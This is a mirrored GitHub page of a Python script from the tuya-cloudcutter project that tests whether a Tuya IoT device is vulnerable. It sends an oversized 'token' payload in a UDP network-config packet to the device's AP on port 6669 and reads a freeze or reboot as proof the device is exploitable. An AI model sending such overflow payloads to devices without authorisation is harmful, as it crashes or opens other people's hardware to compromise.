mirror of
https://github.com/tuya-cloudcutter/tuya-cloudcutter.git
synced 2026-02-19 21:51:18 +01:00
This unifies the instructions so that they will be consistent and correct across the various tools and docs.
76 lines
3.0 KiB
Python
76 lines
3.0 KiB
Python
import struct
|
|
import time
|
|
import zlib
|
|
import socket
|
|
import sys
|
|
|
|
MAX_CONFIG_PACKET_PAYLOAD_LEN = 0xE8
|
|
|
|
VICTIM_IP = '192.168.175.1'
|
|
VICTIM_PORT = 6669
|
|
|
|
def build_network_config_packet(payload):
|
|
if len(payload) > MAX_CONFIG_PACKET_PAYLOAD_LEN:
|
|
raise ValueError('Payload is too long!')
|
|
# NOTE
|
|
# fr_num and crc do not seem to be used in the disas
|
|
# calculating them anyway - in case it's needed
|
|
# for some reason.
|
|
tail_len = 8
|
|
head, tail = 0x55aa, 0xaa55
|
|
fr_num, fr_type = 0, 0x1
|
|
plen = len(payload) + tail_len
|
|
buffer = struct.pack("!IIII", head, fr_num, fr_type, plen)
|
|
buffer += payload
|
|
crc = zlib.crc32(buffer)
|
|
buffer += struct.pack("!II", crc, tail)
|
|
return buffer
|
|
|
|
def send_network_config_datagram(datagram):
|
|
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
client.sendto(datagram, (VICTIM_IP, VICTIM_PORT))
|
|
|
|
def encode_json_val(value):
|
|
encoded = []
|
|
escaped = list(map(ord, '"\\'))
|
|
escape_char = ord('\\')
|
|
for i in value:
|
|
if i in escaped:
|
|
encoded.append(escape_char)
|
|
encoded.append(i)
|
|
return bytes(encoded)
|
|
|
|
def check_valid_payload(value):
|
|
eq_zero = lambda x: x == 0
|
|
if any(map(eq_zero, value)):
|
|
print('[!] At least one null byte detected in payload. Clobbering will stop before that.')
|
|
return value
|
|
|
|
print("This script will attempt to help you lower the chances of prying open a device that won't be exploitable")
|
|
print("However, it's not 100% foolproof either, there are more devices that are vulnerable which are not based on")
|
|
print("the BK7231 chipset. So, please take that into account.")
|
|
print('Before continuing, please set your device in AP mode first. This can usually be accomplished by either:')
|
|
print(' - 3 power cycles off and on with ~1 sec between each, wait for the device to fast-blink, then repeat 3 more power cycles')
|
|
print(' - Long press the power/reset button on the device until it starts fast-blinking, then release, and then hold the power/reset button again until the device starts slow-blinking.')
|
|
|
|
answer = input('Is your device now in AP mode? (yes/no) [default: no]: ').lower()
|
|
|
|
if not 'y' in answer:
|
|
print("Testing requires AP mode. If the device does not have it, it's not exploitable.")
|
|
sys.exit(0)
|
|
|
|
input("Please connect to the device's AP then hit enter to continue.")
|
|
|
|
payload = b'{"ssid":"A","token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x11\x11\x11","passwd":"AAAA"}'
|
|
|
|
payload = check_valid_payload(payload)
|
|
|
|
datagram = build_network_config_packet(payload=payload)
|
|
|
|
for _ in range(5):
|
|
send_network_config_datagram(datagram=datagram)
|
|
time.sleep(0.200)
|
|
|
|
print("Exploit payload sent! If the device has an LED and now seems to be 'frozen', it's likely exploitable.")
|
|
print("Leave it be for ~60 seconds, if its WiFi AP stops showing up then it reboots and 'unfreezes' by itself, then it's almost definitely exploitable.")
|